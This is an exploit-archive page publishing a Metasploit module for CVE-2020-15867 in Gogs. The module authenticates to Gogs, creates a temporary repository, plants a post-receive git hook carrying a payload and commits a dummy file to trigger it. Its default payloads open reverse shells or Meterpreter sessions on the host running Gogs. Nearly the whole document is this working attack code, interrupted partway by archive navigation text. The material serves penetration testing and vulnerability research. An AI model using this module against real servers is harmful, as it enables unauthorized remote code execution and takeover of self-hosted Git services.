Gogs Git Hooks Remote Code Execution

Authored by Christophe de la Fuente, Podalirius | Site metasploit.com

Posted Apr 7, 2021

This Metasploit module leverages an insecure setting to get remote code execution on the target OS in the context of the user running Gogs. This is possible when the current user is allowed to create git hooks, which is the default for administrative users. For non-administrative users, the permission needs to be specifically granted by an administrator. To achieve code execution, the module authenticates to the Gogs web interface, creates a temporary repository, sets a post-receive git hook with the payload and creates a dummy file in the repository. This last action will trigger the git hook and execute the payload. Everything is done through the web interface. No mitigation has been implemented so far (latest stable version is 0.12.3). This module has been tested successfully against version 0.12.3 on docker. Windows version could not be tested since the git hook feature seems to be broken.

tags | exploit, remote, web, code execution
systems | windows
advisories | CVE-2020-15867
SHA-256 | 4e19a5ed4cbfca5897bf97baac1af8eb8a2e38d3a71e67bc5dd454724c8f460d Download | Favorite | View

Related Files

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gogs Git Hooks Remote Code Execution',
        'Description' => %q{
          This module leverages an insecure setting to get remote code
          execution on the target OS in the context of the user running Gogs.
          This is possible when the current user is allowed to create `git
          hooks`, which is the default for administrative users. For
          non-administrative users, the permission needs to be specifically
          granted by an administrator.

          To achieve code execution, the module authenticates to the Gogs web
          interface, creates a temporary repository, sets a `post-receive` git
          hook with the payload and creates a dummy file in the repository.
          This last action will trigger the git hook and execute the payload.
          Everything is done through the web interface.

          No mitigation has been implemented so far (latest stable version is
          0.12.3).

          This module has been tested successfully against version 0.12.3 on
          docker. Windows version could not be tested since the git hook feature
          seems to be broken.
        },
        'Author' => [
          'Podalirius',             # Original PoC
          'Christophe De La Fuente' # MSF Module
        ],
        'References' => [
          ['CVE', '2020-15867'],
          ['EDB', '49571'],
          ['URL', 'https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-
execution/'],
          ['URL', 'https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-
und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/']
        ],
        'DisclosureDate' => '2020-10-07',
        'License' => MSF_LICENSE,
        'Platform' => %w[unix linux win],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :bourne,
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
        ],
        'DefaultOptions' => { 'WfsDelay' => 30 },
        'DefaultTarget' => 1,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
  )
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
  register_options([
    Opt::RPORT(3000),
    OptString.new('TARGETURI', [true, 'Base path', '/']),
    OptString.new('USERNAME', [true, 'Username to authenticate with']),
    OptString.new('PASSWORD', [true, 'Password to use']),
  ])

  @need_cleanup = false
end

def check
  res = send_request_cgi(
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path)
  )
  unless res
    return CheckCode::Unknown('Target did not respond to check.')
  end

  # <meta name="author" content="Gogs" />
  unless res.body.match(%r{<meta +name="author" +content="Gogs" */>})
    return CheckCode::Unsupported('Target does not appear to be running Gogs.')
  end

  CheckCode::Appears('Gogs found')
end

def exploit
  print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

  print_status("Authenticate with \"#{datastore['USERNAME']}/#{datastore['PASSWORD']}\"")
  gogs_login
  print_good('Logged in')

  @repo_name = [Faker::App.name, Faker::App.name].join('_').gsub(' ', '_')
  print_status("Create repository \"#{@repo_name}\"")
  gogs_create_repo
  @need_cleanup = true
  print_good('Repository created')

  case target['Type']
  when :unix_cmd, :win_cmd
    execute_command(payload.encoded)
  when :linux_dropper, :win_dropper
    execute_cmdstager(background: true, delay: 1)
  end
end

def execute_command(cmd, _opts = {})
  vprint_status("Executing command: #{cmd}")

  print_status('Setup post-receive hook with command')
  gogs_post_receive_hook(cmd)
  print_good('Git hook setup')

  print_status('Create a dummy file on the repo to trigger the payload')
  last_chunk = cmd_list ? cmd == cmd_list.last : true
  gogs_create_file(last_chunk: last_chunk)
  print_good("File created#{', shell incoming...' if last_chunk}")
end

def http_post_request(uri, opts = {})
  csrf = opts.delete(:csrf) || get_csrf(uri)
  timeout = opts.delete(:timeout) || 20

  post_data = { _csrf: csrf }.merge(opts)
  request_hash = {
    'method' => 'POST',
    'uri' => normalize_uri(datastore['TARGETURI'], uri),
    'ctype' => 'application/x-www-form-urlencoded',
    'vars_post' => post_data
  }

  send_request_cgi(request_hash, timeout)
end

def get_csrf(uri)
  vprint_status('Get "csrf" value')
  res = send_request_cgi(
    'method' => 'GET',
    'uri' => normalize_uri(uri)
  )
  unless res
    fail_with(Failure::Unreachable, 'Unable to get the CSRF token')
  end

  csrf = extract_value(res, '_csrf')
  vprint_good("csrf=#{csrf}")
  csrf
end

def extract_value(res, attr)
  # <input type="hidden" name="_csrf" value="Ix7E3_U_lOt-kZfeMjEl157hZuU6MTYxNzAyMzQwOTEzMjU1MDUwMA">
  # <input type="hidden" id="user_id" name="user_id" value="1" required>
  # <input type="hidden" name="last_commit" value="6a7eb84e9a8e4e76a93ea3aec67b2f70fe2518d2">
  unless (match = res.body.match(/<input .*name="#{attr}" +value="(?<value>[^"]+)".*>/))
    return fail_with(Failure::NotFound, "\"#{attr}\" not found in response")
  end

  return match[:value]
end

def gogs_login
  res = http_post_request(
    '/user/login',
    user_name: datastore['USERNAME'],
    password: datastore['PASSWORD']
  )
  unless res
    fail_with(Failure::Unreachable, 'Unable to reach the login page')
  end

  unless res.code == 302
    fail_with(Failure::NoAccess, 'Login failed')
  end

  nil
end

def gogs_create_repo
  uri = normalize_uri(datastore['TARGETURI'], '/repo/create')

  res = send_request_cgi('method' => 'GET', 'uri' => uri)
  unless res
    fail_with(Failure::Unreachable, "Unable to reach #{uri}")
  end

  vprint_status('Get "csrf" and "user_id" values')
  csrf = extract_value(res, '_csrf')
  vprint_good("csrf=#{csrf}")
  user_id = extract_value(res, 'user_id')
  vprint_good("user_id=#{user_id}")

  res = http_post_request(
    uri,
    user_id: user_id,
    repo_name: @repo_name,
    private: 'on',
    description: '',
    gitignores: '',
    license: '',
    readme: 'Default',
    auto_init: 'on',
    csrf: csrf
  )
  unless res
    fail_with(Failure::Unreachable, "Unable to reach #{uri}")
  end

  unless res.code == 302
    fail_with(Failure::UnexpectedReply, 'Create repository failure')
  end

  nil
end

def gogs_post_receive_hook(cmd)
  uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings/hooks/git/post-receive')
  shell = <<~SHELL
    #!/bin/bash
    #{cmd}&
    exit 0
```

```
    SHELL

    res = http_post_request(uri, content: shell)
    unless res
      fail_with(Failure::Unreachable, "Unable to reach #{uri}")
    end

    unless res.code == 302
      msg = 'Post-receive hook creation failure'
      if res.code == 404
        msg << ' (user is probably not allowed to create Git Hooks)'
      end
      fail_with(Failure::UnexpectedReply, msg)
    end

    nil
  end

  def gogs_create_file(last_chunk: false)
    uri = normalize_uri(datastore['USERNAME'], @repo_name, '/_new/master')
    filename = "#{Rex::Text.rand_text_alpha(4..8)}.txt"

    res = send_request_cgi('method' => 'GET', 'uri' => uri)
    unless res
      fail_with(Failure::Unreachable, "Unable to reach #{uri}")
    end

    vprint_status('Get "csrf" and "last_commit" values')
    csrf = extract_value(res, '_csrf')
    vprint_good("csrf=#{csrf}")
    last_commit = extract_value(res, 'last_commit')
    vprint_good("last_commit=#{last_commit}")

    http_post_request(
      uri,
      last_commit: last_commit,
      tree_path: filename,
      content: Rex::Text.rand_text_alpha(1..20),
      commit_summary: '',
      commit_message: '',
      commit_choice: 'direct',
      csrf: csrf,
      timeout: last_chunk ? 0 : 20 # The last one never returns, don't bother waiting
    )
    vprint_status("#{filename} created")

    nil
  end

  # Hook the HTTP client method to add specific cookie management logic
  def send_request_cgi(opts, timeout = 20)
    res = super

    return unless res

    # HTTP client does not handle cookies with the same name correctly. It adds
    # them instead of substituing the old value with the new one.
    unless res.get_cookies.empty?
      cookie_jar_hash = cookie_jar_to_hash
      cookies_from_response = cookie_jar_to_hash(res.get_cookies.split(' '))
      cookie_jar_hash.merge!(cookies_from_response)
      cookie_jar_updated = cookie_jar_hash.each_with_object(Set.new) do |cookie, set|
        set << "#{cookie[0]}=#{cookie[1]}"
      end
      cookie_jar.clear
      cookie_jar.merge(cookie_jar_updated)
    end

    res
  end

  def cookie_jar_to_hash(jar = cookie_jar)
    jar.each_with_object({}) do |cookie, cookie_hash|
      name, value = cookie.split('=')
      cookie_hash[name] = value
    end
  end

  def cleanup
    super
    return unless @need_cleanup

    print_status('Cleaning up')
    uri = normalize_uri(datastore['USERNAME'], @repo_name, '/settings')
    res = http_post_request(uri, action: 'delete', repo_name: @repo_name)

    unless res
      fail_with(Failure::Unreachable, 'Unable to reach the settings page')
    end

    unless res.code == 302
      fail_with(Failure::UnexpectedReply, 'Delete repository failure')
    end

    print_status("Repository #{@repo_name} deleted.")

    nil
  end
end
```